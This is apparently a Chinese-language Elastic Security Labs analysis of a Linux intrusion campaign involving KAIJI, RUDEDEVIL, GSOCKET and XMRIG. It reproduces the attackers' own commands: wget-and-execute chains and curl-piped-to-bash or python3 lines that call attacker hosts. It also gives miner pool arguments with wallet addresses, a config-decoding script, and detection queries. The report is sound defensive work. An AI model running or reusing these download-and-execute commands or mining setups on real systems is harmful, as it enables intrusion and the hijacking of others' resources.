简介
近几个月,Elastic 安全实验室发现了一项针对易受攻击的服务器的复杂 Linux 恶意软件活动。攻击者在 2024 年 3 月通过利用 Apache2 Web 服务器发起了入侵。获得初始访问权限后,威胁行为者部署了一套复杂的入侵工具来建立持久性并扩大对受感染主机的控制。
威胁行为者使用了混合的工具和恶意软件,包括伪装成内核进程的 C2 通道、用于通信的 Telegram 机器人以及用于计划任务执行的 cron 作业。值得注意的是,他们部署了多个恶意软件家族,例如 KAIJI 和 RUDEDEVIL,以及自定义编写的恶意软件。KAIJI 以其 DDoS 功能而闻名,而 RUDEDEVIL 是一种加密货币矿工,它们被用来利用系统资源进行恶意目的。
我们的调查揭示了一个潜在的比特币/XMR 挖矿计划,该计划利用赌博 API,这表明攻击者可能正在使用受感染的主机进行洗钱活动。我们还获得了对一个文件共享的访问权限,该文件共享托管着每日上传的具有先前未见哈希值的新鲜 KAIJI 样本,表明恶意软件作者正在积极开发和调整。
本研究出版物深入探讨了该活动的细节,提供了对攻击者的策略、技术和程序的全面分析。我们探讨了他们如何建立初始访问权限、用于持久性和权限提升的方法,以及每个阶段部署的恶意软件。此外,我们还讨论了命令和控制基础设施,包括使用 GSOCKET 和 Telegram 进行隐蔽通信。
执行流程
初始访问
我们的团队观察到一台主机在 2024 年 3 月初被入侵,方法是在运行 Apache2 的服务器上获得任意代码执行。此入侵的证据在通过 Apache2 进程执行 id
命令中可见,之后我们看到威胁行为者利用 Web 服务器并在 www-data
用户帐户下部署 KAIJI 恶意软件。
在 Kaiji 部署后不久,攻击者使用 www-data
帐户从 URL http://61.160.194[.]160:35130
下载了一个名为 00.sh
的脚本,经过进一步调查,该 URL 还托管了多个版本的 RUDEDEVIL 恶意软件。
00.sh
是一个加载器,它
- 设置其默认 shell 和 PATH。
- 删除多个日志文件以清除执行痕迹。
- 利用
ps
、netstat
、lsof
和一个常见的挖矿进程名称列表,以杀死受感染主机上任何潜在的挖矿竞争对手。 - 刷新主机上的
iptables
规则,设置多个iptables
规则以阻止连接到特定目标端口和挖矿池,并禁用iptables
。 - 最后,下载并执行第二阶段(
sss6
/sss68
),并清除执行痕迹。
下图显示了加载器的压缩版本。标有 [...]
的行被缩短以增强可读性。
文件服务器
通过后门 Web 服务器进程,攻击者通过以下命令下载并执行恶意软件
sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
从 http://107.178.101[.]245:5488
下载 l64
和 l86
文件,之后授予它们所有权限、执行并删除。查看托管这些恶意软件样本的服务器,我们看到以下内容
这似乎是一个文件服务器,托管着多种不同架构的恶意软件。文件服务器利用 Rejetto 技术。这些恶意软件具有上传日期和下载计数器。例如,9 月 10 日上传的 download.sh
文件已经被下载了 3,100 次。
RUDEDEVIL/LUCIFER
经过仔细检查,已下载并执行的文件 sss6
已被确定为 RUDEDEVIL 恶意软件。在执行过程的早期,我们遇到了此恶意软件家族特有的嵌入式消息
Hi, man. I\'ve seen several organizations report my Trojan recently,
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others.
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite.
I don\'t have any accommodation. I don\'t want to do anything illegal.
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc,
thank yo
我们注意到文件服务器上托管的文件 l64
和 l86
包含相同的恶意软件。在分析恶意软件的执行流程时,我们看到恶意软件的主要功能执行以下几个关键任务
- 守护进程初始化:该进程使用
daemon(1, 0)
转换为守护进程。 - 套接字创建:创建套接字并绑定到特定端口。
- 信号处理:为各种信号设置自定义信号处理程序。
- 服务初始化:使用
SetFILE
启动多个服务。 - 权限处理:它检查 root 权限并相应地调整资源限制。
- 解密:恶意软件会解密其配置 blob。
- 线程创建:生成多个线程用于执行挖矿、杀死进程以及监视网络和 CPU 使用率等任务。
- 主循环:该程序进入一个无限循环,在该循环中它会重复连接到服务器并休眠指定的时间。
在检查加密例程时,我们发现它使用基于 XOR 的编码
为了静态解码内容,我们开发了一个基本的 Python 代码片段
def DecryptData(data_block, encryption_key):
key_modifier = encryption_key & 0xFF
key_index = key_modifier // 0x5F # 0x5F = 95 in decimal
modifier = (key_modifier - (key_index * 0x5F)) + 0x58 # 0x58 = 88 in decimal
for i in range(len(data_block)):
data_block[i] ^= modifier
data_block[i] &= 0xFF # Ensure 8-bit value
data_block[i] += modifier
data_block[i] &= 0xFF # Ensure 8-bit value
return data_block
# Encoded data as hex strings
encoded_data = [
'4c494356515049490c467978',
'0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
'0f424d4e0f435536575649484b',
'5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]
encryption_key = 0x03FF # 1023 in decimal
# Process and decrypt each encoded data string
for data in encoded_data:
# Convert hex string to list of integers
data_bytes = bytes.fromhex(data)
data_block = list(data_bytes)
# Decrypt the data
decrypted_block = DecryptData(data_block, encryption_key)
# Convert decrypted data back to bytes
decrypted_bytes = bytes(decrypted_block)
print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))
解码配置后,将显示以下值
- 第一个值是 C2 域名
nishabii[.]xyz
。 - 第二个值揭示了将传递给 XMRIG 的选项。
- 第三个值显示了恶意软件使用的临时文件位置。
- 第四个也是最后一个字符串显示了 XMRIG 二进制文件的下载位置。
恶意软件中的线程管理
恶意软件会启动多个线程来处理其核心操作。让我们详细探讨其中一些函数的工作原理。
理解 KillPid 函数
其中一个线程运行 KillPid 函数,该函数旨在持续监控和管理进程。该函数首先分离其当前线程,使其在后台运行而不会阻塞其他进程。然后它进入一个无限循环,重复执行其任务。
其核心功能是一个名为 sb_name
的数组,其中包含恶意软件想要终止的进程的名称。
每两秒钟,该函数都会检查系统中是否存在此数组中列出的进程,使用名为 getPidByName
的辅助函数检索它们的进程 ID(PID)。在每次迭代之后,它会移动到列表中的下一个进程,确保处理 sb_name
中的所有进程。
有趣的是,在处理完数组中的所有元素后,该函数会进入一个 600 秒(大约 10 分钟)的延长休眠期,然后再恢复其进程检查。这种延长休眠期很可能是为了节省系统资源而实施的,确保恶意软件在监控进程时不会消耗过多的 CPU 时间。
理解 Get_Net_Messages 函数
另一个至关重要的线程负责监控网络流量,特别是关注 eth0
网络接口。此功能由 getOutRates
函数处理。该函数首先设置必要的变量并打开 /proc/net/dev
文件,其中包含每个接口的详细网络统计信息。
如果该文件成功打开,恶意软件会读取一个数据块(最多 1024 字节),并对其进行处理以提取相关的网络统计信息。它专门查找 eth0
接口,使用标准的字符串解析方法解析输出速率数据。如果成功,该函数将返回 eth0
的输出速率;否则,它将返回 0
,确保即使发生错误,恶意软件也能继续运行。
此例程允许恶意软件静默地监控受感染机器的网络活动,很可能是为了跟踪在接口上发送或接收的数据。
理解 Get_Cpu_Message 函数
对于 CPU 监控,恶意软件使用 GetCpuRates
函数。此函数通过读取 /proc/stat
中的数据来持续监控 CPU 使用率。与处理网络数据的方式类似,读取并解析 CPU 统计信息,使恶意软件能够计算系统的 CPU 使用率。
该函数在一个无限循环中运行,在每次迭代之间休眠一秒钟,以避免系统过载。如果由于某种原因无法打开文件,该函数会记录错误并优雅退出。但是,只要它能够读取文件,它就会持续监控 CPU 使用率,确保恶意软件始终了解系统性能。
理解 Send_Host_Message 函数
也许最重要的线程是负责将系统信息发送回恶意软件操作员的线程。_SendInfo
函数通过收集有关受感染系统的 CPU 和网络使用情况的数据来执行此任务。它首先设置缓冲区并准备文件路径以收集必要的数据。根据系统的状态,它将 CPU 和网络使用率格式化为一个字符串。
此外,该函数还会检查系统上是否正在运行特定进程,并相应地调整其格式化的消息。最后,它通过套接字连接将此格式化的数据发送回命令和控制服务器。
本质上,此函数允许恶意软件远程监控受感染的机器,收集诸如 CPU 负载和网络活动之类的关键详细信息。操作员可以使用此信息来评估其感染状态,并根据需要调整其活动。
连接到命令和控制(C2)服务器
一旦所有线程启动并运行,恶意软件就会将重点转移到建立与其 C2 服务器的连接。这由主线程中的 ConnectServer
函数管理,该函数处理与服务器的通信并远程执行命令。
理解 ConnectServer 函数
ConnectServer
函数执行的第一个任务是使用 ServerConnectCli
建立与 C2 服务器的连接。成功连接后,恶意软件会配置套接字以启用保持活动设置,确保连接在长时间内保持稳定。
建立连接后,恶意软件会收集各种系统信息,包括主机名、用户信息、CPU 规格和内存详细信息。然后将此信息作为初始数据有效负载发送到服务器,为攻击者提供受感染机器的详细视图。
在此初始设置之后,恶意软件进入一个持续循环,在该循环中,它等待并处理来自服务器的命令。处理的命令类型各不相同,可以包括诸如发起 DDoS 攻击、停止或启动 CPU 密集型操作、执行系统命令或管理加密货币挖矿活动之类的任务。该循环无限期地继续,确保恶意软件随时可以执行其操作员发送的任何命令。
当不再需要连接,或者恶意软件收到终止命令时,它会优雅地关闭套接字,从而结束与服务器的会话。
命令和控制(C2)命令
ConnectServer
函数处理来自 C2 服务器的各种命令,每个命令都旨在控制受感染系统的不同方面。以下是恶意软件处理的命令的细分
- Case 4: 恶意软件调用
DealwithDDoS
函数,很可能会发起分布式拒绝服务(DDoS)攻击。 - Case 5: 将
StopFlag
设置为1
,这可能表示恶意软件停止特定任务。 - Case 6: 使用
http_get
从服务器下载文件,更改其权限,然后执行它。此命令允许攻击者在受感染的机器上运行其他恶意软件或脚本。 - Case 7: 使用
system
函数执行系统命令,为攻击者提供对系统命令行的直接控制。 - Case 8: 将
StopCpu
设置为0
,重新启动任何先前停止的 CPU 任务。 - Case 9: 将
StopCpu
设置为1
,停止所有 CPU 任务。 - Case 0xA: 使用新数据更新 CPU 挖矿配置并检索当前进程的 PID,允许恶意软件修改其加密货币挖矿操作。
- Case 0xB: 将
stopxmr
设置为1
,从而有效地停止 XMRIG 矿工。 - Case 0xC: 将
stopxmr
重置为0
并检索当前进程 PID,从而恢复挖矿活动。
每个命令都使恶意软件操作员能够精确控制受感染机器的行为方式,无论是参与 DDoS 攻击、运行新的恶意软件还是管理挖矿操作。
RUDEDEVIL 恶意软件的变体和 XMRIG 配置
在之前提到的文件服务器处于活动状态时,我们观察到正在上传多个版本的 RUDEDEVIL 恶意软件。这些版本的核心功能基本保持不变,唯一的显著变化是用于加密货币挖矿的嵌入式 XMRIG 命令。
每个版本的恶意软件都配置为连接到相同的挖矿池 c3pool.org
,但传递给 XMRIG 矿工的参数略有不同
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0
这些命令中的每一个都指示矿工连接到相同的挖矿池,但指定了不同的钱包或配置。通过检查 c3pool
应用程序,我们确认与这些命令关联的两个 XMR 地址当前都在活动并进行挖矿。
此外,通过此分析,我们能够估算这两个挖矿活动产生的总利润,突显了 RUDEDEVIL 恶意软件的财务影响及其与非法加密货币挖矿活动的联系。
GSOCKET
为了建立持久性,威胁行为者下载并安装了 GSOCKET,这是一种网络实用程序,旨在实现防火墙或 NAT 后面的机器之间的加密通信。GSOCKET 通过全球套接字中继网络(GSRN)创建安全的持久连接。这个开源工具包括 AES-256 加密、对端到端通信安全的支持以及与 SSH、netcat 和 TOR 的兼容性等功能,这些功能允许加密文件传输、远程命令执行,甚至创建隐藏服务。
虽然 GSOCKET 本身并非恶意软件,但其功能可被用于可疑目的。
一旦部署,GSOCKET 会执行多个操作来维持持久性并隐藏其存在。首先,它会检查系统中的活动内核进程,以决定它将伪装成哪个进程。
然后,它会创建 /dev/shm/.gs-1000
目录,用于下载并将其二进制文件存储在共享内存中。此外,默认情况下,它会在 /home/user/.config/htop/
下设置一个 /htop
目录,用于存储 GSOCKET 二进制文件及其操作中使用的密钥。
接下来,会设置一个 cron 作业,每分钟使用密钥运行 GSOCKET 二进制文件。
该二进制文件使用 exec -a [进程名称]
命令,以内核进程的名称执行,进一步增强了逃避检测的能力。该 cron 作业包含一个 base64 编码的命令,解码后,该命令可确保持久性机制定期执行并伪装成合法的内核进程。
在解码 payload 时,我们可以看到 defunct.dat
密钥如何作为参数来执行 defunct
二进制文件,该二进制文件通过使用 exec -a
命令伪装成 [raid5wq]
。
除了使用 cron 作业之外,GSOCKET 还能够通过 shell 配置文件修改、运行控制 (rc.local
) 和 Systemd 来建立持久性。GSOCKET 会枚举潜在的持久性位置。
GSOCKET 支持多个 Webhook,例如 Telegram 或 Discord 集成,从而实现远程控制和通知。
最后,在安装后,GSOCKET 会确保所有创建或修改的文件都经过时间戳篡改,以试图消除任何安装痕迹。
这些功能使 GSOCKET 成为威胁行为者寻求隐蔽和持久性的有吸引力的工具。在此次攻击活动中,GSOCKET 被利用来建立返回 C2 服务器的秘密通道,同时试图逃避检测。
此外,一个 PHP payload 从外部 IP 获取并保存为 404.php
,很可能是作为未来访问的后门。我们未能获得此 payload。
入侵后的潜伏时间
在经历了三周的平静期,没有明显的活动后,威胁行为者通过利用内置的 Python3 重新开始行动,建立与新的命令和控制服务器的反向连接。
在重新获得对主机的访问权限后,部署了新版本的 KAIJI 恶意软件。
KAIJI 恶意软件:与先前样本的比较
在调查发现的文件服务器上的文件时,我们看到一个 shell 脚本。此 shell 脚本似乎是早期阶段用于下载的主要文件,以确保使用受害者的正确架构。
在其他报告中也发现了相同的 Shell 脚本,其中该脚本用于部署 KAIJI。
作为我们调查的一部分,我们分析了在文件服务器上找到的 KAIJI 恶意软件样本,并将它们与 Black Lotus Labs 在 2022 年识别的样本进行了比较。他们对 Chaos
(KAIJI) 的详细分析可以在他们的博客文章此处找到。
使用二进制比较工具 BinDiff,我们比较了二进制文件中的函数。分析表明,我们样本中的代码与 2022 年先前识别的 KAIJI 样本中的代码相同。
虽然代码相同,但一个关键的区别显而易见:C2 服务器地址。虽然两个二进制文件的功能保持一致,但它们指向不同的 C2 域名。
深入研究反汇编,我们识别出一个名为 main_Link
的函数。此函数负责解码恶意软件使用的 C2 服务器地址。
解码后,该函数在地址中搜索 |(odk)/*-
后缀并将其删除,仅保留 C2 域名和端口。此过程确保恶意软件可以与其 C2 服务器通信,尽管它联系的地址可能在不同的样本之间发生变化。
鉴于已发布了一些静态逆向工程 KAIJI 的资源,我们将改为更详细地了解其行为。
执行后,KAIJI 会在 /etc/
和 /dev/
目录中创建多个文件,/etc/id.services.conf
、/etc/32678
、/dev/.img
和 /dev/.old
。这些脚本是建立持久性的位置。
设置了两个服务,/etc/init.d/linux_kill
和 crond.service
。crond.service
由 Systemd 执行,而 linux_kill
用于 SysVinit 持久性。
重新加载 Systemd 守护程序后,会尝试第一次与 C2 建立网络连接。
接下来,创建 Systemd Late generator
服务文件。有关 Systemd
的工作原理以及通过此方法建立持久性的不同方式的更多信息,可以在我们最近的博客系列中找到,该系列名为 Linux 检测工程 - 持久性机制入门。
KAIJI 创建 /boot/System.img.config
文件,这是一个可执行文件,通过先前部署的 Systemd
服务执行。此二进制文件与其他二进制文件一起,是建立持久性的另一种方式。
接下来,KAIJI 会调整 SELinux
策略以允许未经授权的操作。它会在审核日志中搜索与 System.img.conf
相关的被拒绝的操作,生成一个新的 SELinux
策略以允许这些操作,并以较高的优先级安装该策略。通过这样做,恶意软件绕过了通常会阻止其活动的安全限制。
此外,它还会通过 bash 配置文件建立多种其他形式的持久性,并创建另外两个恶意工件:/usr/lib/libd1rpcld.so
和 /.img
。
紧接着,通过 echo 命令更改 /etc/crontab
,确保 /.img
文件按设定的计划由 root 执行。
KAIJI 继续将多个默认系统二进制文件移动到不寻常的位置,试图在此过程中逃避检测。
KAIJI 使用 renice
命令授予 PID 2957
(KAIJI 植入的可执行文件之一)最高的优先级(在 -20 到 19 的范围内,最低的为最高优先级),确保它获得比其他进程更多的 CPU 资源。
为了逃避检测,KAIJI 采用了绑定挂载技术,这是一种防御逃避方法,它通过操纵系统中目录的挂载和查看方式来掩盖恶意活动。
最后,我们看到 cron
执行 /.img
的痕迹,该文件早些时候被植入到 /etc/crontab
文件中。
故事仍在继续
两周后,Apache 后门再次激活。通过 Apache2 进程,使用以下命令,通过 www-data
用户下载了另一个后门
sh -c wget http://91.92.241[.]103:8002/gk.php
此有效载荷的内容仍然未知。在此阶段,我们观察到尝试手动提权的活动,攻击者部署了 pspy64
。Pspy
是一个命令行工具,用于在 Linux 系统上进行进程侦听,而无需 root 权限。它监控正在运行的进程,包括由其他用户启动的进程,并捕获诸如 cron 作业执行之类的事件。此工具对于分析系统活动、发现提权尝试以及审计由进程实时触发的命令和文件系统交互非常有用。攻击者通常在入侵后的场景中利用它进行侦察,使他们能够了解系统任务和潜在的漏洞。
值得注意的是,pspy64
是由 [rcu_preempt]
父进程执行的,这表明威胁行为者已从利用 Web 服务器后门过渡到使用 GSOCKET 后门。
进一步的提权尝试涉及利用 CVE-2021-4034
,也称为 pwnkit
。此漏洞影响 Linux 系统中 PolicyKit 包的 pkexec
组件,允许非特权用户使用 root 权限执行任意代码。通过利用此缺陷,攻击者可以获得对系统的提升访问权限,从而可能导致对受影响机器的完全控制。
自定义构建的二进制文件
之后,攻击者尝试从以下位置下载名为 apache2
和 apache2v86
的自定义构建恶意软件
http://62.72.22[.]91/apache2
http://62.72.22[.]91/apache2v86
我们获得了这些文件的副本,它们目前在 VirusTotal 上有零检出。但是,当动态执行它们时,我们观察到段错误,并且我们的遥测数据证实了受感染主机上的段错误活动。在一周多的时间里,威胁行为者尝试更改、上传和执行这些二进制文件超过 15 次,但由于重复的段错误,他们不太可能成功运行此自定义恶意软件。
虽然二进制文件未能执行,但它们在逆向工程过程中仍然提供了有价值的见解。我们在样本中发现了几个 XOR 编码的字符串。
用于编码字符串的 XOR 密钥被确定为 0x79
(或字符 y
)。解码字符串后,我们发现了恶意软件尝试构建的 HTTP 请求头片段
/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
这表明恶意软件正在构建 HTTP 请求。但是,根据标头的不完整性以及执行中的重复失败,很明显该软件尚未完全开发或投入运行。
其他侦察
攻击者继续使用 The Hacker’s Choice 的工具,通过下载和执行 whatserver.sh
。
此 Shell 脚本旨在收集和显示服务器信息。它从 SSL 证书、Nginx 和 Apache 配置文件中提取诸如完全限定域名 (FQDN) 之类的详细信息,以及系统资源信息,例如 CPU 和内存使用率、虚拟化详细信息以及网络设置。该脚本还可以总结最近的活动,包括上次登录用户和当前正在侦听的服务。
挖矿活动
在进行了近两周的手动利用尝试后,威胁行为者停止了提权的努力,可能未能获得 root 访问权限。相反,他们以 www-data
用户的身份建立了持久性,利用 GSOCKET 设置了一个 SSL 连接,该连接伪装成一个名为 [mm_percpu_wq]
的内核进程。
解码 base64 内容后,我们得到了一个非常熟悉的输出
通过我们的行为规则,我们看到威胁行为者列出当前用户的 crontab 条目,并将有效载荷直接回显到 crontab 中。
此命令尝试每分钟下载 http://gcp.pagaelrescate[.]com:8080/ifindyou
,并通过管道传输到 bash。查看 ifindyou
的内容,我们看到以下 Bash 脚本
此脚本收集主机名和 IP 信息,从 http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC
下载 SystemdXC
存档(XMRIG),将其存储在 /tmp/SystemdXC
中,解压缩存档并使用必要的参数执行它以开始挖比特币。
在检查挖矿命令时,我们可以看到恶意软件如何配置 XMRIG
此命令连接到 unmineable.com
矿池,在挖矿过程中使用受感染机器的主机名作为标识符。在撰写本文时,有 15 个活跃的工作人员为钱包地址 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz
挖掘比特币。
在进一步调查比特币地址后,我们发现该地址执行了一笔交易。
有趣的是,此交易的输出地址指向一个与 Binance 关联的知名 热钱包,这表明攻击者可能已将其挖矿收益转移到交易所平台。
当我们将注意力回到脚本时,我们还看到了两个注释掉的命令,这些命令稍后会变得更加清晰。该脚本执行
curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
查看此有效载荷,我们可以看到以下内容
此阶段检查命令的输出,并将其发送到 Telegram 聊天机器人。通过我们的 Telegram 行为规则,我们可以看到 Telegram POST 请求如下所示
在此阶段设置的 cron 作业在每 4 小时的第 0 分钟执行。此作业执行
curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
下载的 Python 脚本通过 HTTP 请求自动与在线赌博游戏交互。该脚本包括处理用户身份验证、下注、处理结果以及将数据发送到远程服务器的函数。
在仔细检查后,我们确定了脚本的以下关键组件
全局变量
usuario
:存储用于管理会话的用户 ID。apuesta
:表示下注金额。ganancias
:跟踪输赢。saldo_actual
:保存当前帐户余额。
了解 obteneruid
函数
此函数通过向远程服务器发送带有必要标头和 JSON 数据的 POST 请求来验证用户身份。如果尚未设置用户,它将初始化一个新会话并检索帐户余额。成功身份验证后,它将返回一个会话 UUID,该 UUID 用于游戏中进一步的交互。
了解 enviardatos
函数
此函数将游戏数据或状态更新发送回 gcp.pagaelrescate[.]com
,记录游戏期间的结果或采取的操作。它使用简单的 GET 请求将此数据传输到远程服务器。
了解 hacerjugada
函数
hacerjugada
函数模拟设定轮数的下注过程。它发送 POST 请求以进行下注,在每轮之后更新输赢,并计算总体结果。如果触发了奖励轮,它将调用 completarbono()
来处理任何奖励游戏详细信息。在每个下注轮之间,该函数强制执行 30 秒的延迟,以模拟自然游戏玩法并避免被检测到。
了解 completarbono
函数
当触发奖励轮时,此函数通过发送包含会话 ID 和轮次 ID 的请求来完成该轮次。根据结果,它会更新帐户余额并记录输赢。余额的任何更改都会使用 enviardatos()
函数发送回远程服务器。
可能用于测试目的
重要的是要注意,此脚本可能正在用于测试目的,因为它与赌博应用程序的演示版本交互。这表明攻击者可能正在测试赌博操作的自动化,或者试图在转向真实版本之前查找应用程序中的漏洞。使用演示环境意味着他们正在改进他们的方法,可能是在准备更复杂或更广泛的攻击。
通过 MITRE ATT&CK 的 REF6138
Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。在本次调查中,我们确定了以下策略、技术和子技术
使用的 MITRE ATT&CK 策略、技术和子技术
策略 | 技术 | 子技术 |
---|---|---|
资源开发 | T1587:开发能力 | 恶意软件 |
T1588:获取能力 | 工具 | |
T1608:暂存能力 | 上传恶意软件 | |
上传工具 | ||
初始访问 | T1190:利用面向公众的应用程序 | |
执行 | T1059:命令和脚本解释器 | Unix Shell |
Python | ||
T1053:计划任务/作业 | Cron | |
持久性 | T1546:事件触发执行 | Unix Shell 配置修改 |
T1053:计划任务/作业 | Cron | |
T1505:服务器软件组件 | Web Shell | |
权限提升 | T1068:利用漏洞进行权限提升 | |
防御规避 | T1140:解密/解码文件或信息 | |
T1222:文件和目录权限修改 | Linux和Mac文件和目录权限修改 | |
T1564:隐藏工件 | 隐藏文件和目录 | |
T1070:指示器删除 | 时间戳修改(Timestomp) | |
T1036:伪装 | 伪装任务或服务 | |
T1027:混淆的文件或信息 | 软件打包 | |
剥离的有效负载 | ||
命令混淆 | ||
加密/编码的文件 | ||
发现 | T1057:进程发现 | |
T1082:系统信息发现 | ||
T1061:系统网络配置发现 | ||
T1049:系统网络连接发现 | ||
T1007:系统服务发现 | ||
收集 | T1119:自动化收集 | |
T1005:来自本地系统的数据 | ||
命令与控制 | T1071:应用层协议 | Web协议 |
T1132:数据编码 | 标准编码 | |
T1001:数据混淆 | ||
T1573:加密通道 | 对称加密 | |
T1105:入口工具传输 | ||
T1571:非标准端口 | ||
T1572:协议隧道 | ||
T1102:Web服务 | ||
影响 | T1496:资源劫持 |
检测 REF6138
Elastic Security 实施多层方法进行威胁检测,利用行为 SIEM 和端点规则、YARA 签名以及基于 ML 的异常检测方法。本节描述了 Elastic Security 构建的在捕获已识别威胁中发挥重要作用的检测。
检测
在对此入侵集进行分析时观察到以下检测规则
预防
在分析此入侵集时观察到以下行为预防事件
- 通过可疑实用程序进行 Linux 反向 Shell
- 通过绑定挂载进行防御规避
- 通过交互式 Shell 执行 Linux 可疑子进程
- 启动了潜在的 Linux 黑客工具
- 通过 PKEXEC 漏洞利用进行权限提升
- 下载了潜在的 SSH-IT SSH 蠕虫
- 计划作业在不寻常的位置执行二进制文件
以下 YARA 签名用于检测 KAIJI 和 RUDEDEVIL 恶意软件样本的文件和内存中
在分析此入侵集时观察到以下即将发布的端点规则警报
- 通过 Web 服务器的潜在 Shell
- 潜在的 Web 服务器代码注入
- 由 Web 服务器用户执行的潜在 Shell
- 通过 Web 服务器的解码活动
- Linux Telegram API 请求
- 可疑的 Echo 执行
在 Elastic 中进行 Hunting 查询
KQL 和 EQL 的事件均通过使用 Elastic Defend 集成的 Elastic Agent 提供。Hunting 查询可能会返回高信号或误报。这些查询用于识别潜在的可疑行为,但需要进行调查以验证结果。
EQL 查询
在 Kibana 中安全解决方案的“时间线”部分下的“关联”选项卡中,您可以使用以下 EQL 查询来搜索类似行为
潜在的 XMRIG 执行
以下 EQL 查询可用于在您的环境中搜索 XMRIG 执行。
process where event.type == "start" and event.action == "exec" and (
(
process.args in ("-a", "--algo") and process.args in (
"gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
"rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
"cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
"cn-lite/0", "cn/0"
)
) or
(
process.args == "--coin" and process.args in ("monero", "arqma", "dero")
)
) and process.args in ("-o", "--url")
启用 MSR 写入访问
XMRIG 利用 modprobe 启用对 MSR 的写入访问。此活动是不正常的,默认情况下不应发生。
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
潜在的 GSOCKET 活动
通过推荐的部署方法部署 GSOCKET 时,此活动是默认行为。此外,查询中添加了几个参数,以减少错过通过 GSOCKET 进行的更多自定义入侵的机会。
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)
通过 Exec 的潜在进程伪装
GSOCKET 利用 exec -a
方法以不同的名称运行进程。GSOCKET 特别利用伪装成内核进程,但其他恶意软件可能会以不同的方式伪装。
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"
Renice 或 Ulimit 执行
包括 KAIJI 和 RUDEDEVIL 在内的几种恶意软件利用 renice 实用程序来更改进程的优先级或设置进程的资源限制。这通常由矿工恶意软件使用,以提高挖矿进程的优先级,从而最大限度地提高挖矿性能。
process where event.type == "start" and event.action == "exec" and (
process.name in ("ulimit", "renice") or (
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
process.command_line : ("*ulimit*", "*renice*")
)
)
启动了不存在的 Cron(d) 服务
KAIJI 和 RUDEDEVIL 都通过在 /etc/init.d/cron(d)
中创建 cron(d)
服务来建立持久性。Cron
默认情况下不使用 SysV Init
服务。cron(d)
服务的执行是可疑的,应进一步分析。
process where event.type == "start" and event.action == "exec" and
process.name == "systemctl" and process.args == "start" and process.args in
("cron.service", "crond.service", "cron", "crond")
来自 KAIJI 的可疑 /etc/ 进程执行
/etc/
目录不是进程执行的常用目录。已知 KAIJI 会将名为 32678
和 id.services.conf
的二进制文件放置在 /etc/
目录中,以建立持久性并规避检测。
process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))
在 /dev/ 目录中创建隐藏文件
在 /dev/
和 /dev/shm/
中创建隐藏文件本身不是恶意的,但是,此活动应该是不常见的。已知 KAIJI、GSOCKET 和其他恶意软件(如 K4SPREADER
)会在这些位置删除隐藏文件。
